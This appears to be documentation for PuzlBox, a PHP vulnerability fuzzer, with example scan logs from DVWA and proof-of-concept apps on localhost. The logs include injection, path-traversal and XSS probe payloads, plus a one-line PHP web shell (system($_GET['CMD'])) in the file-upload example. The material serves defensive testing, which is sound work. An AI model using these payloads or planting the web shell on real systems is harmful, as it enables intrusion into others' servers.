Puzlbox
Description
PuzlBox is a PHP fuzzing tool written by John Leitch. It scans for several different vulnerabilities by performing dynamic program analysis. Following tests are currently performed:
- Arbitrary Command Execution
- Arbitrary File Read/Write/Change/Rename/Delete
- Local File Inclusion (LFI)
- Arbitrary PHP Execution
- SQL Injection
- Reflected Cross-site Scripting (XSS)
For each test, specific payloads (forged requests) are sent to the web application and responses from the server are analyzed. Depending on the results (HTTP response code, errors, ...), the test will be interpreted as positive (discovery of a potential vulnerability) or negative. All positives tests appear in the generated reports with sent payloads.
Installation
- Puzlbox is available here:
http://downloads.sourceforge.net/project/puzlbox1/puzlbox1022.zip

- Download, and unzip in C:\puzlbox\
Usage
Syntax
puzlbox [-s Server (default localhost)] [-m Scan Modes (default CFLPSX)] [Absolute Web Root] [-n No Unhook] [Application Paths (comma delimited)]
Modes
Following modes are currently available:
- C - Arbitrary Command Execution
- F - Arbitrary File Read/Write/Change/Rename/Delete
- L - Local File Inclusion
- P - Arbitrary PHP Execution
- S - SQL Injection
- X - Reflected Cross-site Scripting
Refer to the examples section for details.
Running puzlbox
For PuzlBox to successfully run the following conditions must be met:
- PuzlBox must be run as administrator!
- The targeted web application must not be accessed while PuzlBox is running!
- Only one instance of PuzlBox per web root folder can be running at any time!
Reports
Two types of reports are generated:
- Scan Overview Report: All concerned fields with payloads will be reported in this report. You will will find what fields are potentially vulnerable to each attack.
- Vulnerability Report: If a vulnerability is confirmed, the complete payload with response will be reported in this report.
Examples
Environment
Full tests have been performed against various specific PHP applications to confirm all vulnerabilities. Environments include:
| Damn Vulnerable Web Application (DVWA) | http://downloads.sourceforge.net/project/dvwa/DVWA-1.0.7.zip |
| PoC to test SQL injections and Reflected Cross-site Scripting (XSS) | http://dl.dropbox.com/u/10761700/poc-sql-injection.rar |
| PoC to test Code Injection | http://dl.dropbox.com/u/10761700/poc-command-injection.rar |
| PoC to test Local File Inclusion (LFI) | http://dl.dropbox.com/u/10761700/poc-local-file-inclusion.rar |
Arbitrary Command Injection
The -m C parameter enables to challenge the application against arbitrary command injections tests. Its sends the string "C:\WINDOWS\system32\calc.exe" to form fields. Here the logs of puzlbox performed against a vulnerable application.
C:\puzlbox> puzlbox.exe -m C c:\web command-injection
produces:
----------------------------------------------------------------
Command Execution Scan
----------------------------------------------------------------
/command-injection/index.php
$_GET
cmd = C:\WINDOWS\system32\calc.exe
/command-injection/index.php
$_GET
cmd = C:\WINDOWS\system32\calc.exe
And here the alert, confirming the vulnerability:
Alert Name: Command Execution POST /command-injection/index.php?cmd=C%3a%5cWINDOWS%5csystem32%5ccalc.exe HTTP/1.1 Host: localhost Proxy-Connection: keep-alive User-Agent: x Content-Length: 0 Cache-Control: max-age=0 Origin: null Content-Type: multipart/form-data; boundary=----x Accept: text/html Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Arbitrary File Read/Write/Change/Rename/Delete
The -m F parameter enables to challenge the web application against various HTTP methods (red, write, change, rename, delete).
C:\puzlbox> puzlbox.exe -m F c:\web dvwa
Produces following results (extract):
----------------------------------------------------------------
Aribtray File Read/Write/Change/Rename/Delete Scan
----------------------------------------------------------------
/dvwa/about.php
/dvwa/ids_log.php
/dvwa/index.php
/dvwa/instructions.php
/dvwa/login.php
$_POST
Login = shell.php
username = shell.php
password = shell.php
/dvwa/logout.php
/dvwa/phpinfo.php
/dvwa/security.php
/dvwa/setup.php
$_POST
create_db = shell.php
/dvwa/vulnerabilities/view_help.php
[...TRUNCATED...]
On the other hand, a vulnerability has been confirmed:
Alert Name: Arbitrary File Upload POST /dvwa/vulnerabilities/upload/source/low.php HTTP/1.1 Host: localhost Proxy-Connection: keep-alive User-Agent: x Content-Length: 262 Cache-Control: max-age=0 Origin: null Content-Type: multipart/form-data; boundary=----x Accept: text/html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 ------x Content-Disposition: form-data; name="Upload" shell.php ------x Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-stream <?php echo '<pre>' + system($_GET['CMD']) + '</pre>'; ?> ------x-- HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 07:52:33 GMT Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.1 Content-Length: 526 Content-Type: text/html <br /> <b>Warning</b>: move_uploaded_file(DVWA_WEB_PAGE_TO_ROOThackable/uploads/shell.php) [<a href='function.move-uploaded-file'>function.move-uploaded-file</a>]: failed to open stream: No such file or directory in <b>C:\web\fern.php</b> on line <b>10</b><br /> <br /> <b>Warning</b>: move_uploaded_file() [<a href='function.move-uploaded-file'>function.move-uploaded-file</a>]: Unable to move 'C:\xampp\tmp\php473.tmp' to 'DVWA_WEB_PAGE_TO_ROOThackable/uploads/shell.php' in <b>C:\web\fern.php</b> on line <b>10</b><br /> ----------------------------------------------------------------
Local File Inclusion
The -m L parameter enables to challenge the application against Local File Inclusions (LFI) tests. The following command has been tested against a vulnerable application.
puzlbox.exe -m L c:\web local-file-inclusion
Produces following results (extract):
----------------------------------------------------------------
Local File Inclusion Scan
----------------------------------------------------------------
/local-file-inclusion/index.php
$_GET
page = ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../lfi_test.txt
/local-file-inclusion/index.php
$_GET
page = ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Flfi_test.txt
/local-file-inclusion/index.php
$_GET
page = ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../lfi_test.txt%00
Here the evidence of the vulnerability:
Alert Name: Local File Inclusion POST /local-file-inclusion/index.php?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2flfi_test.txt HTTP/1.1 Host: localhost Proxy-Connection: keep-alive User-Agent: x Content-Length: 0 Cache-Control: max-age=0 Origin: null Content-Type: multipart/form-data; boundary=----x Accept: text/html Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 14:33:28 GMT Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.1 Content-Length: 393 Content-Type: text/html <html> <head> <title>Local File Inclusion</title> </head> <body> <form name="form1" method="get" action="index.php"> Select a page to load: <select name="page" onchange="document.form1.submit();"> <option value="page1.txt">page 1</option> <option value="page2.txt">page 2</option> <option value="page3.txt">page 3</option> </select> </form> LFI_Test123 </body> </html> ----------------------------------------------------------------
Arbitrary PHP Execution
The -m P parameter enables to challenge the application against arbitrary PHP execution tests. Its sends the following content to form fields: <?php echo 'testa'.'testb'; ?> with and without PHP tags.
puzlbox.exe -m P c:\web dvwa
Produces following results (extract):
----------------------------------------------------------------
Arbitrary PHP Execution Scan
----------------------------------------------------------------
/dvwa/about.php
/dvwa/ids_log.php
/dvwa/index.php
/dvwa/instructions.php
/dvwa/login.php
$_POST
Login = <?php echo 'testa'.'testb'; ?>
username = <?php echo 'testa'.'testb'; ?>
password = <?php echo 'testa'.'testb'; ?>
/dvwa/logout.php
/dvwa/phpinfo.php
/dvwa/security.php
/dvwa/setup.php
$_POST
create_db = <?php echo 'testa'.'testb'; ?>
/dvwa/vulnerabilities/view_help.php
[...TRUNCATED...]
SQL Injection
The -m S parameter enables to challenge the application against SQL injections tests. Tests have been run against a vulnerable index.php page that connects to a user table.
puzlbox.exe -m S c:\web sqlinj
Produces following results (extract):
----------------------------------------------------------------
SQL Injection Scan
----------------------------------------------------------------
/sqlinj/index.php
$_POST
username = ';--";--
password = ';--";--
/sqlinj/index.php
$_POST
username = \';--\";--
password = \';--\";--
id = \';--\";--
/sqlinj/index.php
$_POST
username = \\';--\\";--
password = \\';--\\";--
[...TRUNCATED...]
Vulnerabilities have been confirmed:
Alert Name: Potential SQL Injection
POST /sqlinj/index.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 147
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
------x
Content-Disposition: form-data; name="username"
';--";--
------x
Content-Disposition: form-data; name="id"
';--";--
------x--
HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 08:39:09 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 1589
Content-Type: text/html
<html>
<head><title>HACKING</title></head>
<body>
<div style="float:left">
<fieldset>
<legend>Select from ID</legend>
<form method="POST" action="index.php">
Enter ID: <input type="text" name="id" />
<input type="submit" value="Go" />
</form>
</fieldset>
</div>
<div style="float:left">
<fieldset>
<legend>Create user</legend>
<form method="POST" action="index.php">
<div>USERNAME: <input type="text" name="username" /></div>
<div>PASSWORD: <input type="text" name="password" /></div>
<div><input type="submit" value="Go" /></div>
</form>
</fieldset>
</div>
<div style="clear:both"></div>
<hr />
<div style="font-weight:bold;color:#ff0000;border:solid 2px #ff0000;">select id, username, password from user where id=';--";--</div>SQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ;--";--' at line 1
----------------------------------------------------------------
Alert Name: Potential SQL Injection
POST /sqlinj/index.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 217
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
------x
Content-Disposition: form-data; name="username"
';--";--
------x
Content-Disposition: form-data; name="password"
';--";--
------x
Content-Disposition: form-data; name="id"
';--";--
------x--
HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 08:39:09 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 1468
Content-Type: text/html
<html>
<head><title>HACKING</title></head>
<body>
<div style="float:left">
<fieldset>
<legend>Select from ID</legend>
<form method="POST" action="index.php">
Enter ID: <input type="text" name="id" />
<input type="submit" value="Go" />
</form>
</fieldset>
</div>
<div style="float:left">
<fieldset>
<legend>Create user</legend>
<form method="POST" action="index.php">
<div>USERNAME: <input type="text" name="username" /></div>
<div>PASSWORD: <input type="text" name="password" /></div>
<div><input type="submit" value="Go" /></div>
</form>
</fieldset>
</div>
<div style="clear:both"></div>
<hr />
SQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';--";--',;--";--')' at line 1
----------------------------------------------------------------
[...TRUNCATED...]
Reflected Cross-site Scripting
The -m X parameter enables to challenge the application against Reflected Cross-site Scripting (XSS) tests. The following has been tested against a vulnerable application (the same used for SQL injections).
C:\puzlbox> puzlbox.exe -m X c:\web sql-injection
Produces following results:
----------------------------------------------------------------
Reflected Cross-site Scripting Scan
----------------------------------------------------------------
/sql-injection/index.php
$_GET
id = 2<script>alert(0)</script>
/sql-injection/upload/cmd.php
$_GET
cmd = 7<script>alert(0)</script>
/sql-injection/index.php
$_GET
id = 5 <script>alert(0)</script>
/sql-injection/upload/cmd.php
$_GET
cmd = 9 <script>alert(0)</script>
And here the evidences of the vulnerability (extract):
Alert Name: Reflected XSS
GET /sql-injection/index.php?id=1%3cscript%3ealert(0)%3c%2fscript%3e HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 0
Cache-Control: max-age=0
Origin: null
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
HTTP/1.1 200 OK
Date: Tue, 04 Jan 2011 04:52:09 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 568
Content-Type: text/html
<html>
<head><title>HACKING</title></head>
<body>
<fieldset>
<legend>Select from ID</legend>
<form method="GET" action="index.php">
Enter ID: <input type="text" name="id" />
<input type="submit" value="Go" />
</form>
</fieldset>
<hr />
<div style="font-weight:bold;color:#ff0000;border:solid 2px #ff0000;">select id, username, password from user where id=1<script>alert(0)</script></div>SQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/script>' at line 1
----------------------------------------------------------------
Alert Name: Reflected XSS
GET /sql-injection/index.php?id=2%3cscript%3ealert(0)%3c%2fscript%3e HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 0
Cache-Control: max-age=0
Origin: null
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
HTTP/1.1 200 OK
Date: Tue, 04 Jan 2011 04:52:09 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 568
Content-Type: text/html
<html>
<head><title>HACKING</title></head>
<body>
<fieldset>
<legend>Select from ID</legend>
<form method="GET" action="index.php">
Enter ID: <input type="text" name="id" />
<input type="submit" value="Go" />
</form>
</fieldset>
<hr />
<div style="font-weight:bold;color:#ff0000;border:solid 2px #ff0000;">select id, username, password from user where id=2<script>alert(0)</script></div>SQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/script>' at line 1
----------------------------------------------------------------
